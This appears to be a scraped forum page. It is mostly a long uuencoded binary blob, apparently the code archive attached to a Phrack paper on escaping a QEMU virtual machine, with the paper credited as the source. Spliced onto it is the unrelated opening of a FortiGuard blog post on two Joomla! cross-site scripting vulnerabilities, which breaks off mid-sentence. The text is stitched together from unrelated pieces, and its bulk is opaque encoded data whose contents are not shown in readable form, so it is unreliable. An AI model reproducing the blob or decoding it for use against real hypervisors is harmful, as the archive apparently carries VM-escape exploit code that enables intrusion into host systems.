M,JD#^]$\)HIYL0D[0(M&'?;@=EZ$&9^BRLWZ.MT8Z\V"3MBH&C*$*1B=.;+W MYDGCIZ7^3*Z+V6+53KF8G^APD];F)[+IZE0YQ?\!#^G-6Y\IX"SR->.$X]IE MO$"C`3BNS:^,JSA]FV_XKCY=K=?75WB.NX!E+%^3_EHY3DG[-EFS@'U9G:8\ MEC"\?O$*8//^@M)]EG"]90@%+Z]AG>UZ]7<!(.8825Z6Y#*7-BK\PV\7XC.+ M0&W5_W-Z+-/I#&:W@5FHLE1G!BY8S,9U;I7.D[7.\,1JV$:J?I<=5$?^*EWF M&Z$CDK/*\F$$2-ES4EL<&L9ZD2\;"9MVPF6<OO3/3Q0L,VETTRBWB+/UR_!< MG93&^F8F)EB=MI%IG09WF(!TCVC1*)MO0.->;RXXB:M%+>7FNIQ9ND2[4?/E MO-D4I1_<EL9LY3;Q7'W9N>BX[=REHH.%JKFK-H8-@8U3LGB5U/KF[/\^A^Q< MTHKZ/%NN-A?`Z2]=%\>`;X"0%!?Q,EL@&RMI\?JU)!B3AE+LQIC@U?-LE;S) MTPT:J0I@NEFK?N$=4OU+ZK?GJV6=^)J,A<6/4OT!U%\MWN5JPB*/RYQ;P3=Y M5_.K?+:VBTS<[,V2]7M,.SQ1"\`V:-TM(#ORGT]?(*7$U1Q:P1ZJ4@X33JKL M=+$J<R5_2@EU/MH&-,`QH<Y&PY\&."74^=GUE=T`QX0ZFUJN9F-"G0WB]VTC M&Q/J[!RV5N_4RBFASF<3W[K`E!/4`MF[N=+]J4A0&LC6$;,4_L>.3IL)S9[0 MP!TJ/:&$5AD<NT893.`I(*:%,A%G5VL8KO7FPPRFE5P_U#2T,(A+NED]:N6@ MYE.;L=$G"S&!;>C+#GMST5I$FU%^$CHA>H>RMS35=]5L04W,7,R7;VNR=O/3 MB_DBZQ2XS"]7ZP^D0EXMN6-X>=R;BX*\/Q<-\^+Y,A\H0G9U\ZH!VZ9'J9D> M90_YR[[Q*OMF3=F>:*+ZLH>>VUHK)*%L<;/W(K-+)(&ERM<.5*O0T&@/(VHW MMD&`[1TDR=X9$I'>P[4R%P9G,U]F^4UO"=VP*M#=H969VN&5F;5@J"C$&4-4 M+.9+Z,W_])!165_+BWB=9[0[G\%.&^GR;K6`57^1&]AF`T0S"G?Z7GURO.UL M[+MHC>=%J)D(LV71282:7G8-C<Y/-"V;KY130[NU\^5);][J>M.?F:_7C<K$ M>JU4A>NU^IF^7FUXKV+H/K2B]%0VQ6^ZOF7Q)M96R74U:08?,A1ZZ;>V5N(C M=JD=ZE7?3I2AE=W(5LN\N0=F"R6E5=4^#WL9O\UG\_4_7MKGG:JH,\IW70>, MVM;II67:[KF^4+4";RV$2[DLA+UHV/>UNB3_$O/?5UIZGQH%Z7<>)//E@_+B M3D.67%U\$$^*3#J"[AM3F-5O\R6;8K^;KS?72]CVW4\Q)^;71)MUO"P7;&I^ M#22?;^9Y2;=[XV.Z?\O'=/*@P55=O.NT2?:B;C1E&??D!",TU8D+I'N^W[%0 M?1]_*&><"<0CP\;I7)@7\B\X_L"`\-TQIY1X/2Z&>DE-$3_@3+"F9WVKM3'! M'S3%*=GXTECRMWOW<)"F$\0+;<6D0R@WG0!:^5MY'(?%JL>%Z>753*4;MTK0 M13:2?R8JC528J3`C-*:',<[XGKR$1X&YDWF;7[<D^>9]#KQZL8*ZXN5KX_4U M-!%+G<%$??#?>#+"]Q*7P*'O<C:)0A,`QH'E>".$3VIBUC255_/E,:Z+1IRF MP.S*I3UUN[R$(9IO)D/+`7<7OAP_Q&43*,H_<+ED22-R<V%8!+CP8(,S8G4Y M3V<I;`+6DP,NA(TY,F:S1R^>?O?-5[.S)]\^^ON3QPV27,Z0,?&5(QS1C00A M`/0(!M#`C-*(2^/R.KT@&58:5ZNRG*.9CGA9LQ322.WLCK.T,I_E)DR4U6Y* MEJQ#=#KJ&/?RI(;5'0`%YD4NYK7XO6:*FD=&_`[H2>9&++WW,MI.[#V8TBC2 M[H;,CO;>7^"Z.*GHBU9),^@\;J>WD)GF/\DX94`?*@-Z:/QD/'A`%D\&K`>8 M`0![:N,T9M?'1HT.W\O^;.0@>:GY#5!EXK1!J%%*62""<7!@?*9,+7Z=>^O& M[/V\S_]4.+1KA['`PCGJ!:L\02$AJ&CL&!V.\ST%=1-FCQ83X]YIG8J)^-2I MG:90OIG5'9E370=1R#7YT:Q@ZRY^)@C8Q*8,=(VER;>0?DO.A>$64[)5_<>/ M8G[##U7RL@I(97C2^B#'-[C]_6KYQ4;N+:Z7L#?!XI!Q`6POGXS5=>(&Z1?Q M/+7BES*]X/KYLI_I9=/_=7Q/+/A0F1R_C._%R6D+W],D;(/T\/VGLWV%>)CM MQ1CT<GZ7Z1$Q3,MEF_'E:+;Y?-Y-4H@_P/J\L&YA_7KUU;*^AKV+>%'^0OZ6 M784:<$XK+"URB*NW:*+WZP.;/,M.Y1?8S[>S#B4@-(18J_=$OJ?P&S9--!K% M&L^A!?&<7-P%VN.'Q.35+^)JK.1(/BN![X<TTDAFQ/%0T%?%</R0I4>5AN<* MPL*4(L\1@ECXZ`0HI;P:JK6_^]OT]/]J\C4[W:1DU><^RE4^-IJDJ"2'2F$N M5XU9B[R]@R;(C:R_G>2D3!>7M<"OM`W?K(SU-:PK!1XN/E_/KPQZ![U:H!2F MP:@T`Q.-7F&J_*#!DAK_C;&9H?38S&A7L9F19H?4-/,EM*1\:9\?H2ZH^@X% MQ/>3[I@C*MY;3AD1KSOQ^C4"H.I`;=;Q0VKT$1'"0)4!C4FC!&I8F.I,-#%I M&V6`[/?%)4=]MH19UBB$I\6C_3VM]@D_XOGCD?'=H\=_FSU^^O73L_]#PJ13 M%79UPM0A+RO:?$&R_@*"CE3%G*93MTODS$5,VR:I:0;C1NY3X*#J3X'#=E)) M`#YH0W-SAK*AUH%L1DZWI&+B6><2)_O-$7/0/)>X*%E.1TQF'&0IT:ZCTN+= M)YTGH=U2D!6@5-.6DC35-7,7B8J7>Y-#WFW2-.Z4H+O)2=5IDA,]A6H:#)6J M2:(OA;>5LCX3.-H<*"9KM*"<-5!.UHGE;'TYNL><Z-@?Q0.O1GO55FV83,,$ MJ!N]"YFHE*Y8\U9T<L"2$F45R)%^05)I:C5<3\LI[M?T#>O62++TEU6)RPF) M\%WK!,+\.G4"(@UI4:(#,UDTX.KB5ZU@O/B!',_7<8IJ)5[<C#(G+QSUDL>_ M)QV=_;3ZJNKKV"9FR\JG'+18;&U;XO;WL-="97(@#`DPB8^/D":L!V#S$J^7 M-Y,[+S\[-_+EF]4'XP,^9J2^D4NNXNIZ4TZ4E]YXS,LD%6F1V'%-V'$)N)7$ M[PKYKEQOB_+G+QY_\_WLZV^^??+]TX8TAXRG/[RH<VJ!#CE/SLZJ'*U,GZ^. M'_;*<<SLE]V8*\9M@+\-918SLPZQIJ&PMN"S(:Y2B\O!E>7?K.;+2=T0%97( MJJK5Y%5U2-4EJSI0'PN'JK=Y5BECEQD>J]^BZ@(UML4ZS[_(C*=T^_E,W'8* M'8-063(/T<4P61P0OEEZ<;U\*V=.PU:1-1&5XCP11E@:W41#G`B]!_PY$JKM M*595(<(?L\OXIGE/,2TWJZLCZ7NOKA-+"W6P5-J?2(6]T-:CJEXV#G[>NW<H M-1TOGCY^:I1O8:_]S3-A%%FRTH.=[:E;33HEOYR?WV=S2SB?NRQNH5UX);/! M),U+?.D;0%S0\=F=SS@(\Z6!",2I`YKT+8P9#5AL$.7Q22\:RQO)ATTN&K<G M7`!P">EK`4EC'+2]3%3*#K7L*=%::CB0A"\%*>_=.Z\Z8U7ZC#W$?>]>A4O2 M_6$]6`*7(@`WJQ7IRUG,Y^6&/'!A*TIV;UB=Q@0Z57WR\WXG4UR9M.=GRX9A MHIM2`L>6F2DG:,>N#M`5J^ME]NGPZ[PX5*SSIJ_Q3G!*-X-38:A!WX1A'9W. MDIS?V2HS^\AX4SN1>/3BQ>SYDT=G7_W7)-YLV!$'?,&S<IG'Z_1B<L#5P\EH M`Q5I+3[^\A?,>]4^-;&+BWZ(PRZ(F.;],+BEZX*U;L`.3U[Q-AM[\MDIBSKJ MVMYEO$DO\O(E_3V'];C`20_E3C2Y-%YXIJ@I4!>#F0S??R8G(CI10?.M%A3L M!13@6'.:S8MB5OUF$4`C3AP@1ICJ/U$2H+FL<)`-I5O[/=UD$7]KK4HC]Y#8 M=4[0`K>\GH8495*\SEG8*$EE-TG,OFXR347>W!&)WM".SG@#)*(NP%=)H#V% M)/=.JQZ^D<-P7"<=6R(1P:I)<-H`PI%M@4CJR1'$:NI**V4DYSTDUA%-PV2@ M1#V7`!5L9N@2'___#V)&XZ_LDZ62<&4'A._]2P8I-2""DBTPF7HJ[6@17'[M MHB"J=U!PZJFTO&44_%5%,6W.>DH34D30:8]4*XJ"*I&WT:I9&!GR77R`G<1, M^'Z]S?K?$'2Z5?O77*"KZ^W?8WG&(9J(919?_N"'#_XW02A70$%8*G9,.;IE MM+'$F;7^&GUF93/89,N>H6>BZBY(7@X1B?O<'C&$M!$^V5Z0K(VWEB.#[*VE MV"Y[:S$RS]Y:BJVTMQ83=N1;2I%)]]929+J]M11;<&]O6-,*6^[8Q2Q4;2KD M>5?R5QJO,_$PA'U/PYE@,:G=AQPUG3+=,Z0W''%`7$Q4OQR=TF?-TN\GM;>3 MC[5_DPX8^;\1,,E$>G_Y*%V^=,NS"YG#>GJKCYJD<Y3-35NZU$^>Y`F!F;HZ M$52&8"CY04SA3207-ZM+``U..A?CE^.'V7O3^'BJ>)#ZJ+B)^E@[>?K8<.3T ML;5[4;PW?52=+S6J@:5*(W>PY60X=FH8E7';H6+[)+I<H>*W9%!<]EM`:X&I MMW(JD%Z\.V'()5-5R+PQ^\K`-_/&W3**Z\XH*FO$X+YY8/!QY[5,=,,^O)8H MBXA<%@CMJ7&`?\7N24P<M<0.$TC!*98:&!*VIYRQLJ5RCWBD&_A#3=6,B"K7 M0^!]\L!P-_$T&]F>[^RM3=Z.S7'Y6B;LP6MO$`HXXT2+]^#4^*?><9N^/&#\ MX?E_G;U`)XG=$JUY3IN57S;55;];@_-=];.EF>Z\09F5^5)>+LMQ$W>GK/ZH M]1AL?E%=0FKE`,]2<?LO\4E,\E*1Y2T*9@V/HDLOUJWS\D)OX'2+B_I2#O[` MAA!6IE3N?.KVUPYUKM?K?+E%H5.5WL3KUV+W)YF3#TQP9M7%3B`@]*U60L6Y MO#R4=0IT>&?887";^1MW:A7X_!SG83U#_FF>[*M:G)!WB14`ZC<.-;A=17:\ MD0<\VA!.A'^A-^=H[&N[N$N?3GACZ0`#S0\/\4B$Y:>3VEX9*N6M(.;_>&I4 M6+B@R",&Q.PW?$LB]2CWS@T:*92E/#[W[]^_(T(_+"GV@Q@U1N0>&6[+XEF\ M,E5V%+KGIU/^.SC6W5>@4_%R]+9@XG$I318A"T7]70&L-I,%,'\_?D@NT4[9 M7=='<J%U4H7$J,J@PYX[KV[B^-5-DKRZ2=-7-UGVZB;/7\$.GB@IBZ[YTA\D M@Y*XT26*7O>*8]$[%<TPQ*:&Z%I!IW*O)@5234GMB/9MGW@]G9>P5E=+*KW7 M3=(EGA&/.Z]GH3F4=W#*YQWY^R/]-DUS^_ZK;A+MOD1A9<'K5%IO>8;$?GM[ MQ"^.4?D%#3QAJ<M=E6=)Z?&/(4MC]1Z?0"0?V#,]L`<?+!F=?)@LO--)\=J5 MH[0:[$;^/A[9=?7H4FK[VB$L^D"0/G_QS'CR_3/CT>/'Z,2.?`3J.DQC:SL$ MRG-_<BS7(?RMS`7ZK<R%O?98"),>;$*Q@$,\DGQ=2G^;?23_*&DN&@][JW@A M/1D0`)U9JKDC5^]'S^1B"9DW83O[\;-JE6S&]='O6^6OFQD_3M+[95"*\8C+ MA.KY//MLF"KITE_#7L.-';9)P;9$-]6N2^8I&G&M_E#74S6=GTSL=2<G?Y4B M27T1-%!\K2\N)J\L(F?AM*I#]E86%=NZAGJ#/#5?7JU7&U0;\R:.-%'X4G.^ M_H=($N^39OA282:/0577BQ2=F?Y3^N.H=QN*I%NLC@QTOR$;0[I4Z;#[_*3O M8DFCAJ6+#_YQ9%3O#@NANR_3U3I7G#"29A7F8:VI_T>Y6F\&M.5'M]'![Z9[ MU^G:8:M1M4THC*O?9>NWHBI6TFH]\6\9_*K%CE!1RH>M!LOTG=WH/0DMKDUV M'3JZ#9P"C6F34U7,U8R__;$0J+*Z6DP<-G#5G[%;=#@RV@)H:"/6V^B6.N:@ M)<0:4DTY8VJU50I:=8GL8#AJG:OZ6RY&HEF<=X+E(L^O)C9]5R]/Q5TXWS8V MKU"!9Z;&BXO\`\C=ZT5&7G'R\FJUI/@RR$)4HN>B?(\6H%H\Z&_+AT9IR;ZE MS"%+1?'A.TPIGJIG@J)V9AS@FYO)L05[7+QS+6(XJ%!'0.R@OU:RS%8N79M' M"[XO^!RV-"!YEYLY++/Z?F.$(#8L`#Z6]=,`H*#3T*%]*\M=J>YAMW9=?@Y4 M.7L+L%HB5V2CINY`M'?`MID0Z8;LP!TIB!!5C?R^N%JB.Q@\D%(@@5-#:35? M-AUWH-3@`B?"+*Z%O-P!>=E!7NZ&7+FN&JQ`ECO60N]4476IM:4B+M>N2*8V M*E(F\7U"!DO,%0RB$J`0@RBP)IX.'NKN`E\=B8@/57HGXD.S%EFNMZ)&!0C< MV<`HM3;RMM2LENVMO5,9VQQ5#[/[[O6&)57%.P*1CGM>S]_A@GQ]=5]A))S@ M?_NN$T*RXJ*Z89.)_$Y*E4-\5XQ_CJ6Y=I,8*E)AZ=1'$MEF(D1[YUB_><:' MR`<R[,A)2_/"[^&[J-OHJ))6G)2#*E!*;?9X,E"J?AFPM10]V2#Q*Q[2ROS6 MH_W:(IHT1KL5%O9M.Y:6YFWUQ25OZ;5@>'6I#$<[K[8LQ8G1]3XT/>058-(= MSGMJ_"'5J8%*5[*G&ZH:Z=JNFITC_8*J"4%OM\5DK%ZX:PL)@UI5W5+15WJ< MT.A>I&.*PVFU0\I637F"NYDV)C@LW!?>R*3D4"6+VA,5A)R585>Z%!I>N'L: M/50/ZF6>G3U],3M[\N@QZ_Y>S/[[[)L73^2/)W]_\E7=YTIZ:_MKJ?UMR'%M M&ZRZKYKI`&),]8OPY9?#G:_+#M5%_97G!^7RK_>$H=6JM4[I+0/'UKWBIZ#> M;$'=55P>-)0+1T9'D6#5V#5PFR:<<KC@E[]M=4A#F]A5C!^HY6^QW92[SF9G M/A5>40;31=A$JB\.-=J="[R[Z'03)J'EB^F?KBZOKC<8\>0?UW/R^K!.F0_H M=D359I[LJ[8OL&$[&/:NB!<.Y[B?PR`315JRI<^]>_68=6Z;*%0U%;W8K):+ MB3(<G455"BT,XTD19)E_YP#64.VA>U[:JBS?-S/.GK^H<`!P^;[<?%AP%!72 M$GH=)2'K$(4*T;304:A&B\AT1?VEO#V1&*T!A*A\TJDD*;-3D0)X,>]O!:[1 M9.S-48"JAO1H1T7/G!Z$ZGFZJ^;>RG0JB';ZZV1'8\NUOEXN<3M9S-?HC62S MP?@WT+77^9UN`P?7K5LO0T;_.JYNX'[EQ6^@SOH]9P^1JF9U=JBRSEOM5NI> M5DR#QG.5GGZ'>>7N,*\(+\Y5?O*#F.4SG^&]IG([-D:8__T_=?SW]%U^;)N6 M=^Q9OO>KQH`?CO_N.('CR/CO?N!8&/_=]MPQ_OOO\1GCOX_QW\?X[V/\]S'^ M^QC_?8S_/L9__^3X[[\X4OJ?)P#W&%][C*\]QM<>XVN/\;7'^-K_CO&UQ_!H M8WBTWR(\VO_G0;7&B$IC1*4QHM(84>G?+*+2&"YF#!?S>X>+^5=%63&RZ\MJ M?XD2+">'R\;-#9IJ""L4JA-21-?(-D;QC]=X2WW2?:N,6:J?*GK/_[EA^<(9 M+2P=RTTQN?-J:=Y\;EK^S5^-._10^-Z<GMC(_,]-^P8RINI#:2Y%Q12\,KP# M_K2Q%JNNQ9`/#.IJ[QR.7@I'+X6CE\+12^'HI7#T4CAZ*1R]%(Y>"O_D7@I' M_W6C_[K1?YUF)S7ZKQO]UXW^ZWZI_[H_EV>>?H\VVYS9C"YH1A<THPN:DW\_ M%S2[J'V'%O\&@2H_EZ@C;M%=77?[!A/:LQA=XHPN<0AL=(DSNL097>*,+G&$ M2YQ;OZ2MWW^N\W?YNLR/TW7ZJ[[^W/;^TS)=WY?O/P,KL/']9^#8X_O/W^.S M[?6,>&13F[>??84NLV'/?W&X9^!7G-OX!Z9U>&C\*%UA4]J/>/=W>"ATEN<< M(/)UOLS7,9ID7I?(47B!_.B'%T\??_.]\<TWL$0O/BQ7E[!&[QO3O9L?'1L$ MR<V/ML]_'/[#B18D<BE+)%C\QZ0_(?T?T/\>_>\R-!?">\9]Q1:4#X:UHW3N MB.WYE3&H>%A#9HU!8`:.&9%)9IZ;N6_9J*FYB2(S\JPD9J/+P,]2UXH(P/3C MP@W)W#*/?"?V'#(#C7+?C;S888`\2\+0(5O-(,K2)(S)K#0W,R^/+#*NC(+, MSJ(P9(`H\=W4ILU6D"=6D"9D>YD'26AG9D``9E)86<1VH%:6!!8P&^W.XL2T MS8)J*YPD"BR73$9#-\E=*V.K3RO.XLP-"*N?95GNYE1;X69NXGED;QHZF1-Z M:<``CI]&(5N]^JZ?Q"&;HQ:9;Q=10$:D8>Q[:92G#.":EI>Z1!D?!(&?9D2Q M(C8+)_/)-#;,S-#,"H\`G,3/;3.EMKJI'UFF1Y3)/-]TK9SZ%MM^@.*$`5+3 MR=V,VNHF)K3<)<IDMIF%7D%]BSTS3CP_80`O\>*PH+:Z=F)'H4^CFR5)DD89 M]2U.D[2(7+;0=>P,BN0.F_="0].`1C=+,]_,4NI;G&26DWD1`=A^%CEF3%@] MH+5I.E1;&F:!9X5$L:3(3-^R?`:P$K<`BK/=<>*DKDVUI4421UY$%$O")(-^ M%`P0FG821FRN6YA>&+*A<.J;0."$1CVQS"2/;#94M@N_"-*0*..%?NBF%EL3 M6]"(+*913WS?MS,G(P`QN]G,5TPLFG!A9MMFDK)]<>99ILW\$%B)%7IAQ-;, MB9]X%E$F*I(B=V/J6QXF8>8ZS`]!:`9I%%-;S<(TBX@-KR/?C.(P9`MFR\RC MT&)^"`H_-F&4V"[:AY;:-+J1!5,QC:AON>\[7BKLHD4K"*N5^JEO^50;3&#/ M@=E!$]'V;=-TF1_\U/0C+R>L5F):L1=0;:%MA@60C`!@#%+78W[PO<3,HM1G MP_`DR",VG@Z3)$_"G"VLTP0X.F!^``)G5I8192POB^W,)8J%:>8$:4&C7B0P MAU.?^<'-$MNW/&JK$R-3IFR&[22I:0;4-V#6Q#%SY@<WSHK8<ZFM3I:%D9<1 M96+@D=3UV9(;6*]P"^8'U_$C$%HQF[7[>185*1MZ^T$8NFR8'OLF#)VP6'=- MU\X":JOCF`[,<!K=.#9C-_6H;UEF9D&:,C]XIND%ED-8[<"T72L6YN8F3%(V M-$\C,P4J,S]X@1\FGDU8;=,O0B^AVI+(]S/7)(JE()9S-V)^\/#%7V029>P( M1B2*B&(P.F84VC3J:9`%<9@(P_TH<9S,(LK8>>+";""*)4&2>:F3L*5]$OMI MS/P@A#>U-8J3(@%!11-1""P2TFYB97;$_)#'F0>;'6IKE&5V$,1$&5.,*`$X M&3!@R/R0.R`@$WY>$+F^ZR0A/SO(_,R/'>I;$/NQ%\?,#[EKYFEA4EM!WD1% M$;%M?FR:<6Y3WP)8)R)8.PA`,!EA#0,SC(&#:"+FI@5\0!3S(]-/;?$JH`A\ MVPL\PAJ:ON?#$D0`D9\ZL*,C@-Q/3#]G?BCRS+62@"@31IECPQ#S8X(L#J#E M!!!DF1NGS`]%E$09R"8"R),\ATX00``CD;L.*QH2,\PSY@=!#&IK;&56Y`1$ M&2?,PM1.J6]ND16%[3$_9%:2^$%!;8W])(6Y191QBL0S8=$C@#"Q'=]E?LA@ M,;)!UA)`8<8@FVET'=]TW+B@OKFPM86Q8'Z`]IMYD5);XQ"Z5W@TNH[EYV'. MCS!@(QPE><#\D":^E3@A84U2'R:`1;7!?J3([)@HYL%XY-`H!DC--`@BPIHD M9N(&)M4&DMBV_(0HYGDFP-C,#ZF7@(#@YQP)=,9,;**8G22N%T?\J"5-'!"H MS`\I,'11Q$29Q,M,$$5$,1N6DPC$-@$D61[G%O.#V)M06_/4=PK;)LH$GA_' M3D1],\5"R`"I"5,KIK;FB8FSG2@3V+"3"D)^-B,D!0-X2>'&(;4UA]4NB"T: MW2`!)DEBZILI2,D`=F:'>41MS;W,@[E'HQND69H7"?7-3+(D*VSF![&&$%;8 M1;FY[5)M?IAEB5,0Q:PBBT/'9WX(K22W8`M#`$!W&^0_`12)&00Y4<P*D\`- M`N8'7)>]."?*%(4)"UA`%/-]TP<!3J-NH0A,/.:'L/"]")B``$+?!EBB&"Q= M25%D-.H6[*+2PF5^$+Q.;<T"$P1-3I1Q<],-'7ZXY$0@I9R4^2$&:MN^3VV% M+8AIP<:``"(_<@.7^N;DP-!!QOP0YYGEQRZU-8/]D1=G-+H@,T'X^-0W)\A" M)RF8'^((>I9[XME3DL!>D$;7#1([+0+J&T@ZKRARY@<Q)H0UC9,XM4.JS8-6 M1[#"T$1T$S=V8E^\5LI,8$?"FF;0;3^BVCP7EJ+`)HK93A;Y0<+\`#/=#V*; MWSVYON7&"5',RWP84WX_9<=^82<1\P.L",`^#E$F=6`_FL=$,2\V80=HT:C# M'MS.BS!C8WGU<#$3/OQJ`UVI^6U;"P]'0T"KNRH<@[0?(3]_G/P2\;0=^I$[ MOTI?`(F5T7C5/*$0J*WNJRA.8W2HWR(ZE+3>T>`1=@ZMBU1U6IPTWUOBL`OJ M(K<4.?XCPJJCTB14/8EXFJE3E(S8R:I)VH&CDDH,G,%:@,]!0ET=-3U2GAJO MEG?(->1A$[&<7#0=40+$&:[K[1KBJZO%!PZ3Q4:/5(F"<T]TUL+.$AUZFU^] ML:#\4[56Q6R>^K5.N4+H17F=IGE9%M>+Q8?*]OU?K;7Y]3ZU_H^]G?P6=0SK M_TS8DY#^#_96I`'\7Z8%)PQGU/_]'A^IUZN4\LKE4JWO@D_LP1&X4@,V;Q-T MQ>W"4HISW.)&!<WB3AJKQ?%BN]F<9G$WRNOB>+>_I>UP`J^*4S3C5OE68VP% M.P7['<3N.D5=G,(;#V)W<Z6K&,!X&+N3*EYER/?X<&."M"Y>YHO6('6&*<_J MXA@G>0MV.%A7Q2E@\G!78P5[^:'<Y)=#C?&\0.EJ(\XR@[6PVPIENC=-3>QP MM';<0'&)I']FK>^)$X:%VC3M0^P>H@%LX/IZV$T'L@,;A:D>MO5*6@>;!78_ M;-@$;</"%EL/6SU`[6^S9UEZV+)1HQ86SJ&_?IM;#\ZUM#+SWX;.RE-U+6SF MUH)LZ!U[%S:`(Z<.5O-4MPOK*\[+!IZ_:]BT\'.K&("M'L=K89,X&H!MO@IO MPZ9..`#;>%/?J3=S0PWSE[I)V1HAQ]7,C%+'"6TVT+%NJ1,9;7FAS(F>5_H] M0BKQVA-"_XB_/1MB3Z'.+@_V.^151/'V!_B:Z1@6??`[L4(2I;]:_0.^`?J7 MAR+63*^N0X`>^,AT-")$[S&@RU5Y;A=./[A&ZK:G.+1^J/:VP&^!^[:6>"V? M!+W@H3<`KEDB6^!)I)EZ?9X--#,G[8`/.3WH3)S8^S.?!^OS'\7Z.<YOKA:K M^>9^^2N>!)%2@>?UV7_@[5#K_.>Y4'P\__T.G[]\]B"9+Q\D<7FQOX\6=?=N MZ,]QOK\_+XR7QO'_&'?N6G>,\_V]S46^1+.H]&(%::;QY56\N3C>K(YQ[WW, MKJT?WA$FUOO%?'^?TT[O6OO[Q?4R)3\?V;R,RY)4ACFE8+9`^ICR\LMD@3J? MNZ(`!D<W'A[8^WMHAWMZ=W+Y%@X25X?DI(1,<X\SX_A-5=ZX*]QL/S3N8K;` MSM]_5IHBRM..I=T@/'ODB\(X?FY4^#X:K]?YE7&_JNBC$;]_:WSQ$RF/C+ON MSU\T\7^X3$!V@C1:I82??A/ZJN5G;>QW7GUYEPN^>GBG78/5JB'[L(POY^E, MU%1UI*XHC0'L:K&IT/_%N#M1&V:(VJ``NN/^HGSPHSE]\."+0UWE=:&_WH4R MS=Z2%<VVII!E8*>K#_^ZM:OHWRTFQUTW\?IU:1Q_\]//PDV%<0==8=RU;NZ` M=/Z)GIQ`CV&B*(/8HC)3!#8T"^-X:5CMRNV?OS@4.'B^$@T/]['U=1I99*(/ M3YJ\0ZH4(+DRUPQ!!.Z28?F'=UHX=/H5J+8[VK6]YB`ZC?ZE!QV7W(*MJY[I MPX8E!Y'IE#=Z9%C2=P>1Z50[>F14<A"73N^CQT5N4(90Z71">E14<A"73F&D MQX4E!U'IE$EZ5%AR$)5.T:1'Q24'D>G44'ID6'(0E4Y%I4=%)8?[J-%?]?21 M2@[37J/=ZJ%]H^0@4IT.#"1/1RXW3:UU&#O-W:8MTU;3A1JFR3:UVO9*R+7K MSG7HU&_;Z]C<H@:=\FA[#374[6IJJ\=VJRF\744Z_=_VBA!J]SIT>L+M=91_ M2'KI=(^[5<10?]3)UM9K[E830PWO"+9I0;4U]4'M6I5>2[2MJB;4\*YIFY)5 M6Y<>ZI85M32R.U:$R;>KIZ4BW+&>"NJ6O6KI>W>L34+=;MG3ZHF'9WQY&XFD M52=OQ[^[5-6JG;=7L/MZJE5/;Z]@^ZY@6(\]Q*`=D)W&?"?M]PZ3K0/9K/U$ MW\UAI?50;_60MZKT]N)6"_D'[.A.*OWAV=J`U-?6RQP#]P#;*E4`=V/$@4N# MW>JJ`&]7GV;/MEM].PO)@0N)G7NVH[@<N+S8K:K=!>?`1<=N56TYC^QR)3+, M;AK`76H<O$49JK$'L$=Z_XDO7_X`G_K^Y[OX+0S?(O_UZ\!;G@'[/],,@M;] MCPLEQON?W^/SU=??/OK/YZ?'KXWCA=`T&<?E)CM-+<LX?CQ[_.3K1S]\BTYY M?CC[ZLG^?KQ8_-5X=WG,DV;DO3_[1Q/_&5C3_1WC/]N.[UEM_K?=8.3_W^,S MQG\>XS^/\9_'^,]C_.<Q_O,8_UGU=/.'"O;\Z9&<6\&*U0"TKAGYK6P1RY@^ M(J!Q5>+QV=]%.F[@ZN072G)-HV^?/GU6)=?FS(___MV+K[]ZSLFU-3=PZ+>R MM/+"Y/'95W][]@B3*92TFOR_OS+H>;&2#+S_'2/!"-@BSB?WJQ%8]^SQLSIX MY]DC\0,?/I\]?\$_7'ZNJ_-Z-#H]&IT>C4Z/1J='H],C`AB='HU.CT:G1Z/3 MH]'IT>CT:'1Z-#H]TC@]$J$.KM(E6WL5\]<RT+OE8ZSVRU66*ZYI#&.]R)>- MA$T[X3).7_KG)PJ6F=1&-\HMXFS],CQ7W>,8ZRI62)U6Q0_I-)CB.:C>=F0, MF*KY&!'E]>:"D[A:>@QS7<J0],U$NU'SY;S9%*4?W!8ZILD><9LX%,'+SI&^ M.K-Y+,=XE>1UQN9=#*7[+$=YO1\LQ)MGR%4;@T]D*"@'AB,>8SV/L9ZUL9X? M3%GYH@LIIT[C&;E:FJ7KM'9&)6,-=7R/#0;M&OV2_19^R4`:+C$.E!P3X9+L M2'HEJ_F(!;P2M$4G^:?\=W`DNP)XNDL<&@V8D.LT%41\,U%_-ZB:VDP.`\/? MCQ_B`@4#0#K-CZ1GY.A-2):J#&HU[KR"L]XKV(F^@IWI*SCKO;K)\U>PP:&( M`+(H+F^D9S25Q(TNL8XGI`^Q)GJGHAF&V-00W5#KJ8R_*(.,U934CFA?2$2. MD3<O9^LZDC8ME4FZ1&%ZW%FXT)$;YAV<TG:PD+\_TF_3-+?'5*R;1!&91&$E MB%VGTCJ,X5`HMW;(0U[LT>DB-%!(<NZJC!RZSM,<I)WPPU<:J_>HK$\^\&TI ML`>'$65T<D]`0Q^:,F1:5TI2M*/=R-_'([M&A.M2:GL\..XZ+I;/7SPSGGS_ MS'CT^#%J^I/YIM1VF,;6=@B4Y_[D6,:6P]_*7*#?RES8:X\%;0^Y"<5B?D4D M7Y<7\&VSZB?Y1TEST?CYZV6\D'&>"(#BD%9S1T;D>_1,!L"#S)NPG?WXV7#D MNX8X5'^HJY&:CN$]3EK@-/C\5;*\>C<T4'RM+RXFARPB1WE:U5'[AU0CY&WS M3KJIRI`$6*R.C(OY;QW538EW)EB[-V2:5BJTJ"!%`ZURT\-6K--/0;W9@KHK M>`\:@W=D=`;*JK%KX#9-."5:FGE85UA/MX8T["[L!VKYH]WC58E/JS.?"J\L M9A2<<R*GV:&&>RYP9]7I)FR?+%]$51/>0IL>3%$,\-Y-E<8G^VJD9O2U.WPP MPPU3VP4OQF.NQZRS%R:?I53T8K-:8FS0REVI#`.'EC!DA,72:@ZE&I((52[$ M/LOWS8RSYR\J'`!<OJ^CV)%0\SHRC46>D'BFA7H!C=!C,J*XE9L]B=$:0(@R M02=!*;-3D0)X,>]OQ7PYWY!]%-KW;>J&]`AST3.G!Z$:#["[*F_E,15$.]MU MHN(3HCF-G_$S?L;/^!D_XV?\C)_Q,W[&S_@9/^-G_(R?\3-^QD_]^7_T`TH, $`$`!```` ` end Sursa: http://phrack.org/papers/vm-escape-qemu-case-study.html
-
- 2
-
-
Multiple Joomla! Core XSS Vulnerabilities Are Discovered by Zhouyuan Yang | May 04, 2017 | Filed in: Security Research Joomla! is one of the world's most popular content management system (CMS) solutions. It enables users to build custom Web sites and powerful online applications. More than 3 percent of Web sites are running Joomla!, and it accounts for more than 9 percent of CMS market share. As of November 2016, Joomla! had been downloaded over 78 million times. Over 7,800 free and commercial extensions are also currently available from the official Joomla! Extension Directory, and more are available from other sources. This year, as a FortiGuard researcher I discovered and reported two Cross-Site Scripting (XSS) vulnerabilities in Joomla!. They are identified as CVE-2017-7985 and CVE-2017-7986. Joomla! patched them [1] [2] this week. These vulnerabilities 